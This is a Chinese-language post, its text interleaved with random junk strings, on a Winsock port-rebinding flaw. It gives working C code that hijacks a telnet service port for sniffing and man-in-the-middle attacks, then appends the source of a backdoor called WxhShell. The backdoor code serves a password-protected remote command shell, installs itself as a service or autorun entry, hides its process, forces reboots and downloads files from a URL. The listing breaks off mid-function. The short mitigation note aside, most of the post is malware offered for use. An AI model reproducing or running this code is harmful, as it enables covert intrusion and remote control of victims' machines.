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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qyG636i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M&BM,~ 1RUbY>K#U saddr.sin_family = AF_INET; 8BoT%kVeJv 6XxG1]84 saddr.sin_addr.s_addr = htonl(INADDR_ANY); h1UlLy8 .]sIoB-54 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \i;~~;D 7AFS)_w 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CFS3);'<| /B#lju! 这意味着什么?意味着可以进行如下的攻击: *~lgU4 K
{1ZaEH 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Lw+1| ^J}$y7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~m;MM)_V +68K[s,FD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~)_ ?:.Da :pF]TY"K. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 94k)a8-! {-7yZ]OO$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;
K
6Fe) :"+UG-S$6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yU8Y{o;: +]~w ?^h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }+RF~~H/ 'rq#q)1MT #include E{]|jPdr #include 'Tan6Qa #include 2;(iTPz + #include +}L3T" DWORD WINAPI ClientThread(LPVOID lpParam); ~1]2A[`s! int main() LU IT=+ { 5\kZgXWIh WORD wVersionRequested; Y"
+1,?yH DWORD ret; 1S.e5{ WSADATA wsaData; 2Q'XB BOOL val; 0gb]Kj x SOCKADDR_IN saddr; P)j9\ muc SOCKADDR_IN scaddr; z hm!sMlO int err; ~m09yc d< SOCKET s; V1b_z SOCKET sc; O> ^~SO int caddsize; :AcNb HANDLE mt; VOK$;s'9} DWORD tid; %oL&~6l$ wVersionRequested = MAKEWORD( 2, 2 ); SoGLsO+R err = WSAStartup( wVersionRequested, &wsaData ); W;}u 2GH if ( err != 0 ) { |ukdn2Q printf("error!WSAStartup failed!\n"); j[ZniD return -1; [tf^i:2 } GTIfrqT saddr.sin_family = AF_INET; > FcA, C05{,w? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T]Td4T! qsRfG~Cg saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "91Atb;hJ saddr.sin_port = htons(23); `L[32B9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y!c7y]9__2 { =v`&iL~m printf("error!socket failed!\n"); E9*?G4P{l return -1; 1YD.jU^;HD } Tvw2py q val = TRUE; 1~u\]Zi=D //SO_REUSEADDR选项就是可以实现端口重绑定的 j#>![km Mu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xr3PO?: { 1Y"qQp printf("error!setsockopt failed!\n"); ]B' return -1; c1!/jTX$ } jG ;(89QR/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5%aKlx9^# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jL).B& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y},GZ ^zqy G`lhvpifG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z q>.;> { _$_CR\$ ret=GetLastError(); FT<* printf("error!bind failed!\n"); v%~ViOgL\ return -1; |nZB/YZt } 5*za] listen(s,2); MC)W? while(1) J0mCWtx& { n.UM+2G caddsize = sizeof(scaddr); >#n-4NZ;p9 //接受连接请求 OxGCpbh*7o sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G:ngio]G0 if(sc!=INVALID_SOCKET) Z5a@fWU { 1% %Tm" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7Bd_/A($ if(mt==NULL) kL2sJX+ { :+^llz printf("Thread Creat Failed!\n"); HZ4
^T7G break; ^52R`{ } `rJ ~*7- } J` --O(8Ml CloseHandle(mt); oOSyOD } ]@T `qR closesocket(s); X1qj
l_A WSACleanup(); N ^`Efpvg return 0; ,lYU#Hx* } &L`p4AZ DWORD WINAPI ClientThread(LPVOID lpParam) _\[JMhd} { &: 8 &;vk SOCKET ss = (SOCKET)lpParam; M
+q7h+HP SOCKET sc; 0nnq/u^ unsigned char buf[4096]; JT ^0AZ_* SOCKADDR_IN saddr; LbI])M long num; 1Nu`@)D0 DWORD val; (uz!:dkvx DWORD ret; *n?:)( //如果是隐藏端口应用的话,可以在此处加一些判断 6T_c#G5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 nW*Oo|p~= saddr.sin_family = AF_INET; leJd){ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HD|)D5wH| saddr.sin_port = htons(23); 4c@F.I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X1D:{S[ { X_8NW, printf("error!socket failed!\n"); 6x8|v7cMH return -1; %4K#<b"W } d/QM val = 100; iPYlTV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wf$ JuHPt { L<]PK4 ret = GetLastError(); H hH'\-[t return -1; gq &85([ } Jl,x~d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XKIJ6M~5k { DdBrJ x ret = GetLastError(); >G7U7R}R return -1;
S6Pb V} } gcF><i6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BEx^IQ2 { - & r{%7 printf("error!socket connect failed!\n"); .1lc'gu5y closesocket(sc); l6Bd<tSH closesocket(ss); Bn:sN_N return -1; >;?97'M } <2A' while(1) 7^X_tQf { ?C\9lLX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B6&Mtm1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 sg\jC# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t4uxon num = recv(ss,buf,4096,0); {u3u%^E;R if(num>0) H@2+wr)$} send(sc,buf,num,0); "//
8^e%Xo else if(num==0) +-V?3fQ break; ?&_\$L[ num = recv(sc,buf,4096,0); Z] }@#/
n if(num>0) 0q!{&pt send(ss,buf,num,0); o 4wKu else if(num==0) j
pV break; syvi/6 } 1!#ZEI C closesocket(ss); \zyGJyy. closesocket(sc); xbA2R4| return 0 ; n_glYSV! } &t4(86Bmq mJT
m/C 8=uljn/ ========================================================== 0[Aa2H* mj~CCokF{? 下边附上一个代码,,WXhSHELL Y
[S^&pF *%sYajmD ========================================================== sBL^NDqa2 8^T$6A[b #include "stdafx.h" {eV_+@dT ;oE4, #include <stdio.h> Lq^/Z4L #include <string.h> 1]~}0;, #include <windows.h> f#mpd]e+6 #include <winsock2.h> -XB>&dNl)T #include <winsvc.h> mQJ GKh&Pk #include <urlmon.h> dGjvSK<1@ K2Zy6lGOZ #pragma comment (lib, "Ws2_32.lib") d?.x./1[qi #pragma comment (lib, "urlmon.lib") R\?!r4 ysPW< #define MAX_USER 100 // 最大客户端连接数 24fWj?A| ^ #define BUF_SOCK 200 // sock buffer { q<l]jn9 #define KEY_BUFF 255 // 输入 buffer f^ qQ5N TmiQq'm[b #define REBOOT 0 // 重启 plAt
+*& #define SHUTDOWN 1 // 关机 cPSu!u}D EbHeP #define DEF_PORT 5000 // 监听端口 y5}|Y{5 HDOa N #define REG_LEN 16 // 注册表键长度 HY:n{=o #define SVC_LEN 80 // NT服务名长度 ok'1 f[D#QC // 从dll定义API nceF4Ty typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t60m:k4J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &-A7%" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1;V5b+b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DGnswN%n1 lLv0lf // wxhshell配置信息 xB#E&}Ho struct WSCFG { cAS5&T< int ws_port; // 监听端口 HS7!O char ws_passstr[REG_LEN]; // 口令 p"Y= int ws_autoins; // 安装标记, 1=yes 0=no H Vy^^$ char ws_regname[REG_LEN]; // 注册表键名 0a5P@;"a char ws_svcname[REG_LEN]; // 服务名 MRc^lYj{
char ws_svcdisp[SVC_LEN]; // 服务显示名 19 _F\32 char ws_svcdesc[SVC_LEN]; // 服务描述信息 5YasD6l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zD'gGxM1 int ws_downexe; // 下载执行标记, 1=yes 0=no j06DP _9M char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?}.(k/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {U9jA_XX Df9}YI;? }; -~g3?!+Hb ;DTNw= // default Wxhshell configuration <Jx{Uv struct WSCFG wscfg={DEF_PORT, 2StpcAlU} "xuhuanlingzhe", n_Z8%|h 1, c=gUY~Rl "Wxhshell", pFuQ!7Uk "Wxhshell", $O#h4L_ "WxhShell Service", kH'Cx^=c6h "Wrsky Windows CmdShell Service", gE&f}M- "Please Input Your Password: ", E:ytdaiT 1, 7blZAA?- " http://www.wrsky.com/wxhshell.exe", ?l/rg6mbI' "Wxhshell.exe" x?kZD~|{) }; uH#NJoRO KME
#5=~ // 消息定义模块 ;S7xJ'H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $W2AiE[Wm char *msg_ws_prompt="\n\r? for help\n\r#>"; +J} 41 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; E9i WGSE char *msg_ws_ext="\n\rExit."; x9=lN^/4 char *msg_ws_end="\n\rQuit."; >cp9{+#f char *msg_ws_boot="\n\rReboot..."; -'2.^a-8-g char *msg_ws_poff="\n\rShutdown..."; E$T#o{pai char *msg_ws_down="\n\rSave to "; _rM%N+$&d_ fITml6mbE char *msg_ws_err="\n\rErr!"; (bw;zNW char *msg_ws_ok="\n\rOK!"; P|?z1JUd R[(,wY_1 char ExeFile[MAX_PATH]; H_Yy.yi int nUser = 0; =cQwR:): HANDLE handles[MAX_USER]; qz:OnQv! int OsIsNt; <i5^izg qrdI" SERVICE_STATUS serviceStatus; ;dnn
2)m SERVICE_STATUS_HANDLE hServiceStatusHandle; #[8gH>7 $2.DZ // 函数声明 3Rm$ int Install(void); 8P 8"dN[ int Uninstall(void); $#!~K2$ int DownloadFile(char *sURL, SOCKET wsh); YANEdH`d int Boot(int flag); 86Rit!ih void HideProc(void); Vl EkT9^: int GetOsVer(void); &+
IXDU int Wxhshell(SOCKET wsl); JjwuxZVr O void TalkWithClient(void *cs); ><=af 9T int CmdShell(SOCKET sock); %wO~\:F8 int StartFromService(void); X}ZOjX! int StartWxhshell(LPSTR lpCmdLine); 1li`+~L
F W)l&4#__( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >iCMjT]4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); _I9TG.AA. zR4huo // 数据结构和表定义 e#seqx SERVICE_TABLE_ENTRY DispatchTable[] = ,%C$~+xjM { (mEZ4yM {wscfg.ws_svcname, NTServiceMain}, l*eA
?Qz {NULL, NULL} @6E[K'5c1 }; s2E}+
# #yqcUbJY0R // 自我安装 bY<" $);s int Install(void) jC
oZm(bi { L*_xu _F char svExeFile[MAX_PATH]; >
+SEze HKEY key; eZv0"FK
X strcpy(svExeFile,ExeFile); [ /D/ Kq*^*vWC // 如果是win9x系统,修改注册表设为自启动 s[g1ei9 if(!OsIsNt) { iPIA&)x}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wK3}K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IoX(Pa RegCloseKey(key); L/ZZe5I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Ky0` n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ut%ie=c RegCloseKey(key); WRgz]=W3w return 0; ^\!^#rO } dug RO[ } 3S,pd0; } 6B 8!2 else { 5mV'k"Om#" ;8A_-$ // 如果是NT以上系统,安装为系统服务 H$;\TG@, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,"/_G if (schSCManager!=0) <Z5prunov { acH.L_B: SC_HANDLE schService = CreateService w 8E,zH ( Ze~\=X" " schSCManager, E )PEKWK\ wscfg.ws_svcname, ^O?$}sr wscfg.ws_svcdisp, 5t PmrWZ SERVICE_ALL_ACCESS, $&4Z w6"= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;R67a
V, SERVICE_AUTO_START, 0QPipuP SERVICE_ERROR_NORMAL, o%dtf5}(, svExeFile, >ko;CQR NULL, ."lY>(HJ NULL, eI[z%j[Y* NULL, NZ_45/(dx NULL, v|hi;l@7E NULL K+7xjFoDIR ); K@fxCj*} if (schService!=0) i{,>2KVC| { (/)JnBy0 CloseServiceHandle(schService); !87ebo CloseServiceHandle(schSCManager); cz0tnF*& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JvG t=v strcat(svExeFile,wscfg.ws_svcname); Vf:t!'WD?2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6`yq4!&v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !=-l760 RegCloseKey(key); bNC1[GG[ return 0; WgjaMmht } 8FMP)N4+ } IL~yJx_11 CloseServiceHandle(schSCManager); iD\joh-C } +EFurdX\ } 0t9G$23 Fm@GU return 1; t;*'p } `R^)<v* T}zi P // 自我卸载 [-%oO int Uninstall(void) CzK
X} { rF5<x3 HKEY key; \&cVcAg 1
4|S^UM$ if(!OsIsNt) { ZHZ>YSqCS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A(C3kISM RegDeleteValue(key,wscfg.ws_regname); |.,yM| RegCloseKey(key); E/am^ TO` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <l\FHJhjq RegDeleteValue(key,wscfg.ws_regname); K<t(HK#[ RegCloseKey(key); 5/(Dh![l return 0; v\<`" } :s4CWEd } OZ-F+#d } hP|5q&wX else { ?GFVV ->i 2n@"|\ uHD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o~~_ >V)W if (schSCManager!=0) 5?Bi+fg { ZpwB"%e$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G1D(-X4ALZ if (schService!=0) _x:K%1_[ { R%ddB D\? if(DeleteService(schService)!=0) { Xc@4(Nyp CloseServiceHandle(schService); )Ev [o#y CloseServiceHandle(schSCManager); FY
VcL* return 0; gDA hl } yXkgGY5 CloseServiceHandle(schService); X`22Hf4ct } .Wr7?'D1M CloseServiceHandle(schSCManager); :>cJ[K?0 } 'al-C;Z } >- :U HO wJ2L return 1; YX~H!6l } %Jw;c`JM t!K|3>w // 从指定url下载文件 tV<Au int DownloadFile(char *sURL, SOCKET wsh) c xX { DO0["O74 HRESULT hr; 63at
lq char seps[]= "/"; 8]0R[kjD char *token; ,CCIg9Pt char *file; M#:Mwa$ char myURL[MAX_PATH]; 3fGy char myFILE[MAX_PATH]; ?.4u'Dkn= Y#Hf\8r,d strcpy(myURL,sURL); > sUk6Z~ token=strtok(myURL,seps); al^ yCoB while(token!=NULL) _)p% { f'}23\> file=token; {Xl
5F.q token=strtok(NULL,seps); lD{9o2 } )`L!eN DB?[h<^m GetCurrentDirectory(MAX_PATH,myFILE); ArF+9upGY strcat(myFILE, "\\"); k6dSj>F> strcat(myFILE, file); }+u<^7$g| send(wsh,myFILE,strlen(myFILE),0); j|
257D send(wsh,"...",3,0); {6~W2zX& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f}@]dF r if(hr==S_OK) d`2VbZC` return 0; %T88K}?= else YWm:#{n. return 1; Ble <n6 h883pe= } Qx
{/izc e#08,wgW // 系统电源模块 yy%J{; int Boot(int flag) NjMo"1d { 7^:s/xHO* HANDLE hToken; or(Z-8a_ TOKEN_PRIVILEGES tkp; Q~`]0R159e (}}BZS&. if(OsIsNt) { F n6>n04v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G66vzwO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0C3CqGP tkp.PrivilegeCount = 1; =m:0#&t,* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aLP2p] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ii;~ xc if(flag==REBOOT) { ]T+{]t if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f^ nogw<z! return 0; iS02uVmBZ } Vj`9j. 5 else { FCOSgEU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "4I`.$F%O( return 0; 3:S
Ex;d+ } V}3.K\7 } =7Nm=5@ else { P
hn&hRAO if(flag==REBOOT) { +8v!vuO' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j_Dx4*vg return 0; (2<0kqj% } ,u!c|4 else { {L3lQ8Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YMJ?t" return 0; hYF<Wn3L } xUj[ d(q } Rh~<#"G] w!tQU9+* return 1; 5q"
;R$+j } :0V <
0hCJovSG% // win9x进程隐藏模块 `y
m^0x8 void HideProc(void) o
D^], { KeY)%{ Nqy',N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nz+DPk[" if ( hKernel != NULL ) hO\_RhsRy? { (5VP*67 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;clF\K> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]yA|
m3^2 FreeLibrary(hKernel); (l9U7^S"{K } ]"aC
wr L;>tuJY1 return; oE)tK1>;H } YI&7s_%
- fXO"Mr1 // 获取操作系统版本 irpO(>LK int GetOsVer(void) fokOjTE { 6?z&G6 OSVERSIONINFO winfo; QD q2< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |fq1Mn8 GetVersionEx(&winfo); N!aV~\E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F5:4 B]ZF return 1; &QLCij5: else HIeWgw^" return 0; +#n5w8T)M } c.,eIiL ME{i-E4 // 客户端句柄模块 Peh(*D{ int Wxhshell(SOCKET wsl) $0NWX { CQQX7Y\ SOCKET wsh; >\%44ba6 struct sockaddr_in client; lzw3 x DWORD myID; PUF"^9v .}%$l.#a while(nUser<MAX_USER) j<4J_wE { lD.PNwM int nSize=sizeof(client); @\b*a]CV wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !uy?]l if(wsh==INVALID_SOCKET) return 1; M"ZP s AZxOq !B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f!eC|:D if(handles[nUser]==0) pNCk~OM closesocket(wsh); !JJCG else ey@y?X= nUser++; D9+a"2|3< } '&'?
S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;F"W6G {FteQ@( return 0; tbl!{Qwx } 6t<~. 2' Ilsh
Jo // 关闭 socket `yNNpSdS1 void CloseIt(SOCKET wsh) )d_)CuUBe { &>p2N closesocket(wsh); I?Hj,lN
nUser--; (SU*fD!t ExitThread(0);
YNH>^cD1 } 3@\vU~=P: [AfV+$ // 客户端请求句柄 (/Hq8o-Fw void TalkWithClient(void *cs) GL9R
5 { (+q?xwl!N o#4Wn'E SOCKET wsh=(SOCKET)cs; VEd\* char pwd[SVC_LEN]; i=#r JK= char cmd[KEY_BUFF]; u,*$n'l] char chr[1]; )j]S;Mr int i,j; Lb{~a_c m{I_E
G while (nUser < MAX_USER) { 6^s]2mMfk Z#3wMK~ if(wscfg.ws_passstr) { k;#$Oxa>t= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?,;|*A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +g@@|&B //ZeroMemory(pwd,KEY_BUFF); !D7[R'RgY i=0; e(6g|h while(i<SVC_LEN) { '[{M"S !c\s)&U7B // 设置超时 PQlG! fd_set FdRead; n)8bkcZCp+ struct timeval TimeOut; -P!vCf^{
t FD_ZERO(&FdRead); j}X4#{jgC FD_SET(wsh,&FdRead); ^-f5;B`\i TimeOut.tv_sec=8; x\3tSP7Vp TimeOut.tv_usec=0; |Gzd|$%Oq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _|g(BK2} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xa Yx avq >OBuHqC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U3&*,xeU@H pwd =chr[0]; I^qk` 5w if(chr[0]==0xd || chr[0]==0xa) { /1gKc}rB2 pwd=0; 7=6p break; ec)G~?FH } I,l%6oPa i++; \4bma<~a } 0 jVuFl ?k<wI)JR // 如果是非法用户,关闭 socket GmcxN< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
N_=7 } .KIAeCvl\ Q4Hf!v]r send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pz:$n_XC} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 %,_G. `Z{;
c while(1) { m32OE`s o`DBzC ZeroMemory(cmd,KEY_BUFF);
u> %r( !-|& // 自动支持客户端 telnet标准 d9R0P2 j=0; yaa+j8s] while(j<KEY_BUFF) { =9LC"eI&| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GLv}|>W cmd[j]=chr[0]; 4O[5, if(chr[0]==0xa || chr[0]==0xd) { qF%wl cmd[j]=0; &bRmr/D break; ^8
AV #a } 'i%Azzv j++; 13}=;4O } ~g;(`g t/u$Ts // 下载文件 Bb}JyT
if(strstr(cmd,"http://")) { Rl=NVo send(wsh,msg_ws_down,strlen(msg_ws_down),0); \$yI'q if(DownloadFile(cmd,wsh)) +`mJh\* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3S_KycE{ else Yu9Ccj` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g5M-Vu } |2
g }i\ else { ]W5s!T_ Y GO ;wIS switch(cmd[0]) { YzhZ%:8 0Dc$nL?TqX // 帮助 )qzJu*cQ case '?': { h}g _;k5R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D4c}z#}*0 break; "@$o'rfT } IgptiZ7~! // 安装 cJ&l86/l1 case 'i': { *[.+|v;A if(Install()) e1[kgp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qdAz3iye else lh(A=hn"n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5u~Ik c~ break; deda=%w0 } z=?ainnKx // 卸载 l!~8 case 'r': { ^X)U^Qd if(Uninstall()) x*}(l%[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); OC7:Dp4 else @H]g_yw [: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6!+xf break; P`-(08t } A^3cP, L // 显示 wxhshell 所在路径 [\ @!~F{ case 'p': { YZr^;jfP char svExeFile[MAX_PATH]; ucJR #14 strcpy(svExeFile,"\n\r");
29,`2fFr strcat(svExeFile,ExeFile); v\n!Li H send(wsh,svExeFile,strlen(svExeFile),0); (|(Y;%>-v break; `5O<U~'d } [B+o4+K3 // 重启 G\*`EM4 case 'b': { nDMNaMYb send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JBeC\ \QX if(Boot(REBOOT)) f$*M;|c1c/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !D7\$
g6g else { \X
Nb 9- closesocket(wsh); '/z.\ S ExitThread(0); rv9qF |2r{ } sOzjViv break; )n5]+VTZ5 } CW*6 -q // 关机 U87VaUr case 'd': { j<8_SD =, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uvc0"g1h if(Boot(SHUTDOWN)) C/<fR:`c send(wsh,msg_ws_err,strlen(msg_ws_err),0); v srce else { ;s9!ra:3 closesocket(wsh); e}(.u1 ExitThread(0); *q|.H9
K( } %nFZA)B[ break; gS4K](KH | } 0b?9LFd // 获取shell 31w?bx !Pp case 's': { yc_(L-'n CmdShell(wsh); K4,VSy1byI closesocket(wsh); i:qc2#O:J ExitThread(0); z* zLK[t+ break; u'yePJTE } [9[tn- // 退出 |pq z(j7 case 'x': { _^#PV} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T_5 E CloseIt(wsh); WuSRA<{P break; o1GWcxu*\ } }{=%j~V;& // 离开 ?# ,\, case 'q': { \<i#Jn+) send(wsh,msg_ws_end,strlen(msg_ws_end),0); VF<{Qx* closesocket(wsh); B,e@v2jO| WSACleanup(); j(va#f# exit(1); z<: 9,wtbP break; 7:jSP$ } `S;pn+5 }
4>0xS- } 57K1e~^ CSt6}_c! // 提示信息 1V FAfv%} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m4>v S } +:/`&LOS- } '9{H(DA I/XVo2Ee return; G1$DVGo } $Snwx GrVvOJr // shell模块句柄 8eWb{nuJ> int CmdShell(SOCKET sock) w2/%e$D!9 { "N7C7`izc STARTUPINFO si; n;v8Vc' ZeroMemory(&si,sizeof(si)); -']#5p l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h8pc<t\6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hCW8(Zt PROCESS_INFORMATION ProcessInfo; Gx'mVC"{ char cmdline[]="cmd"; 2=["jP!B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mfeyR
return 0; wQPjo!FEX } Z~T- *1V Qnr' KbK // 自身启动模式 8Vl!&j0s^ int StartFromService(void) N@tzYD|hA { /vsQ <t;~ typedef struct J*a`qU
{ `=q)-y_C DWORD ExitStatus; +SUQRDF@i DWORD PebBaseAddress; Yw?%>L DWORD AffinityMask; JfKl=vg DWORD BasePriority; D'uzH|z8 ULONG UniqueProcessId; rb`C:#j{J ULONG InheritedFromUniqueProcessId; n+Fl|4 } PROCESS_BASIC_INFORMATION; ,lL0'$k~ BO/2kL8* PROCNTQSIP NtQueryInformationProcess; A4%0 {^MR^4&}( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rjm5{aa- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ',J3^h!b PuUqWW'^ HANDLE hProcess; cN&b$8O=% PROCESS_BASIC_INFORMATION pbi; y$4,r4cmR| L.+5`& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K
